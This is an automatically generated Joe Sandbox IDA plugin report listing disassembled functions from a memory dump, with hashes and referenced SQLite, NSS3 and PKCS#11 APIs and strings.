Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a2ac8ca23976741864c642640f7725fcb44c4f095ba973a663fa4d9bcd7a4cb1
Instruction ID: 0b488ef830040a5220d65a016e7463d0fa56f3317f64dce0860e8519dfc24d51
Opcode Fuzzy Hash: a2ac8ca23976741864c642640f7725fcb44c4f095ba973a663fa4d9bcd7a4cb1
Instruction Fuzzy Hash: A5716932F182114BEB148E6DC88039E73B29F86728F354278CD69ABFD1D6719C5687C2

Function 6CE33EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CE3460F
sqlite_master, xrefs: 6CE3463F
sqlite_, xrefs: 6CE33FAA, 6CE34185

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: d320c4d5767b2a868ab5cfd99b41bbb2cf5dcdf0ec770b96454797dfcf16c735
Instruction ID: d843852e1b1a39c6909f657cb2c3f1c86c63f7abf6b2b733f29e7d9bfb03bf68
Opcode Fuzzy Hash: d320c4d5767b2a868ab5cfd99b41bbb2cf5dcdf0ec770b96454797dfcf16c735
Instruction Fuzzy Hash: FE224725B495B54FD740CB2580605A67FF2AF4730CB7C65AAC9E9AFB46C223F842CB50

Function 6CF6BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF6C0B6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 2793e1496ebd30a9fa7214272adf8b5570a5bfe5b28e48bcc950c4e0a4dc6151
Instruction ID: 67e83837bc67ea7e2809f13c2540ae20a695fe79b33019b9f746d909fa9b7bdc
Opcode Fuzzy Hash: 2793e1496ebd30a9fa7214272adf8b5570a5bfe5b28e48bcc950c4e0a4dc6151
Instruction Fuzzy Hash: 01928F74A042099FDF05DF96C890BAEB7B2FF48308F284169E855ABB91D735EC46CB50

Function 6CE03D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CE03EA9

Strings

0, xrefs: 6CE03DAB

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: bea41d2e56d0981ca3fc817ff14d5ff7151ae1557395b1eee7aa5fac240a15db
Instruction ID: 92419e555bc628efa0d87893e4296f26ec6e208f2a4157c8471be8fb7ae9ddfb
Opcode Fuzzy Hash: bea41d2e56d0981ca3fc817ff14d5ff7151ae1557395b1eee7aa5fac240a15db
Instruction Fuzzy Hash: 0D513631F482698AEB15867D88607FFFBB19B83318F38432AC5A267BC1C234455787D1

Function 6CEAEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CEAF0F9

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3f3a904ec4e38096cf7b08bf2d8542e97bfdce785e39f034cce36594acbd71fb
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: A1918175A0061A8FCB14CFA9C8D16AEB7F1FF85324F24462DD562ABBC0D734A906CB51

Function 6CED2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEF7929), ref: 6CED2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEF7929), ref: 6CED2FE0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: af804be8c5b26c689fc4eefd7285a28434f2fdc6bb0e20b1343ef51f6d43b8dd
Instruction ID: 9d41bb6c695d7f67c12b3a98ab8f2a252a61f3356e1f26574ba08c692eaaf389
Opcode Fuzzy Hash: af804be8c5b26c689fc4eefd7285a28434f2fdc6bb0e20b1343ef51f6d43b8dd
Instruction Fuzzy Hash: EC51C2B2A059128FD7108E59C880B6AB3B1EB4531CF3B4169D909ABB02D736FD47CB81

Function 6CE1AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE1AE9F
winUnlock, xrefs: 6CE1AE18

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 22ea76a1ddedd595605b6ae07516ec0258beb2e5bb978fe9b17b12332a89943e
Instruction ID: de239d084573f43c6769e42f6c3e24901d537f4031fc98185ddf75c03306aa45
Opcode Fuzzy Hash: 22ea76a1ddedd595605b6ae07516ec0258beb2e5bb978fe9b17b12332a89943e
Instruction Fuzzy Hash: 98718F70A18240ABDB44CF28D884BAABBF5FF8A314F14CA1DF95997741D730A985CBC1

Function 6CEDED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEDEE3D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 542ae565fdfbf3ea03e14b4e81916b5700253002543fe59ad63e07347e56a090
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: AD71D272E01B018FD718CF59C88566AF7F2AF88308F26462DD85697B91D730F942CB91

Function 6CE1D8E0 Relevance: 1.7, APIs: 1, Instructions: 439COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CE1DB8B

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 180dbc313dfad17cf733e0c9d81fa294cf4d320887a75132b1c743d89cf26910
Instruction ID: fdc5cb5138b42d1e03421c7252a293326f345079ff79d347b16fcaf989815f4c
Opcode Fuzzy Hash: 180dbc313dfad17cf733e0c9d81fa294cf4d320887a75132b1c743d89cf26910
Instruction Fuzzy Hash: 09126E75E046098FCB09CF68C490BADBBF2FF89314F24426DD41AAB791D774A942CB94

Function 6CE05F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CE06013

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 5563418e5ce062fca0135f0344d873b88b9f228a8f1e1cd5f983f7529ede6ea9
Instruction ID: f768354705858614314dcc8b5c954cfa4d920e2acec1bd93ef82005173103d43
Opcode Fuzzy Hash: 5563418e5ce062fca0135f0344d873b88b9f228a8f1e1cd5f983f7529ede6ea9
Instruction Fuzzy Hash: 3BC11471B052068BDB148F15C4517AAB7BAAF4631CF388128DD99D7B42C734E8A2C7D4

Function 6CE14DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE15125

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: b7f11dbbce1650313e5bc0ab820ba110c9d772ef4b7c5c17b5ea1356e50c569b
Instruction ID: ff103f26b4c41fa79cd7239da6c36fc485e01eb61a9e7a4b7236c44a41fe54d7
Opcode Fuzzy Hash: b7f11dbbce1650313e5bc0ab820ba110c9d772ef4b7c5c17b5ea1356e50c569b
Instruction Fuzzy Hash: 5FE14E71A293409FDB84DF28D48475ABBF1FF8A318F118A1DF88997751D730A985CB82

Function 6CF95E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF95B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE7DF9B), ref: 6CF95B9E
Part of subcall function 6CF95B90: PR_Unlock.NSS3 ref: 6CF95BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF95E23,6CE7E154), ref: 6CF95EBF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 28acd78b225c89b5cfbc25fa73fa90840ea2de7625ac43d1c575f54a905bd737
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 82518C72E0021A8FDF18CF59C8816AEF7B2FF98314B19866DD816B7755D730A941CBA0

Function 6CF4DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf632f09c60f5f83f556546fe6c3fa29ee1b969137679dfee093f8a8a9cc6fd
Instruction ID: b1416e58b3dfa3b2ec2861a0abd19ed3c1b241553328e5370860adfd64f588e1
Opcode Fuzzy Hash: 7bf632f09c60f5f83f556546fe6c3fa29ee1b969137679dfee093f8a8a9cc6fd
Instruction Fuzzy Hash: 6BF16F71A01205CFDB48CF58C494BAABBB2BF89314F298168D8199F752CB35ED42CBD1

Function 6CEE1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1ddb8fff057461bb2d6c0c04a758d809a59d654506cc073f41bb95016bce81a3
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 6ED14A729046568BDB118F58C8843DA7773AB9E3A8F2D4328DC641B7C6C3769946C7D0

Function 6CE78EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc32137cdf1c3b0f6251d382855282fa25b4e6062054a8d836c436b95d20ff2
Instruction ID: 2f5a748b4edef03597203b63a639cf7ea87de31fb817b2d1b39ba94af208036f
Opcode Fuzzy Hash: 9cc32137cdf1c3b0f6251d382855282fa25b4e6062054a8d836c436b95d20ff2
Instruction Fuzzy Hash: A6110132A002098BD738DF24D888B5AB7B6FF4231CF24426AD8159FB41C375E882C7E1

Function 6CF50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a094d5443d418c41bffc9ebddcd85a5b2d7383baa426bd0a8acbab838447dab
Instruction ID: 2aec7cfd507ab7d5a781ea8481ed437aaa55f810a2289a408661148afca01d8d
Opcode Fuzzy Hash: 4a094d5443d418c41bffc9ebddcd85a5b2d7383baa426bd0a8acbab838447dab
Instruction Fuzzy Hash: C111C1757043459FCB00DF28C8C466A77B2FF86368F14806DD9198B701DB71E816CBA0

Function 6CEC3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 72064f31f6f738f720fd918165b65921d0cb4a22ce7086618069c8f3151a3395
Instruction ID: d5693cdb6a00cd961d5ff5d56a3d33cc3c2c6cf5db1ec0f6e7d90aae1b316627
Opcode Fuzzy Hash: 72064f31f6f738f720fd918165b65921d0cb4a22ce7086618069c8f3151a3395
Instruction Fuzzy Hash: 28F09A70E006598BCB40DF68C4802DEBBF4EF09244B108619EC89AB301EB30AA84C7C1

Function 6CF50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: cc5137115f28886eb4d38733c1962f3b024ab90a0bfa7d78a3d75bf3f212b8d9
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 74E06D3A202054A7DB148E09C450BAA7359DF9271DFE58879CE599BA01DA73F8138781

Function 6CE7CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd5868ed676be0b52d333d0a1b942a36cc0f7891b01f016925389cfa801e2780
Instruction ID: 18f80d815ad8cf53401913ff02d2a1ced06bb43b1fdf36bf5c131d7800333061
Opcode Fuzzy Hash: bd5868ed676be0b52d333d0a1b942a36cc0f7891b01f016925389cfa801e2780
Instruction Fuzzy Hash: C5C09238254708DFC784DF48E489EA43BFAFF0D61070400A8EA028B721DB31FD00CA80

Function 6CEB1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CEB1D46), ref: 6CEB2345

Strings

CKR_PIN_INCORRECT, xrefs: 6CEB1D92
rv = %s, xrefs: 6CEB2340
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CEB2327
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CEB1F95
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CEB2275
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CEB1F0F
CKR_MUTEX_NOT_LOCKED, xrefs: 6CEB2225
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CEB1F8B
CKR_MUTEX_BAD, xrefs: 6CEB1F49
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CEB226B
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CEB227F
CKR_NEXT_OTP, xrefs: 6CEB222F
CKR_WRAPPED_KEY_INVALID, xrefs: 6CEB1FB5
CKR_SAVED_STATE_INVALID, xrefs: 6CEB1E56
CKR_PIN_INVALID, xrefs: 6CEB2057
CKR_STATE_UNSAVEABLE, xrefs: 6CEB2037
CKR_PIN_EXPIRED, xrefs: 6CEB206B
CKR_TOKEN_NOT_PRESENT, xrefs: 6CEB1F81
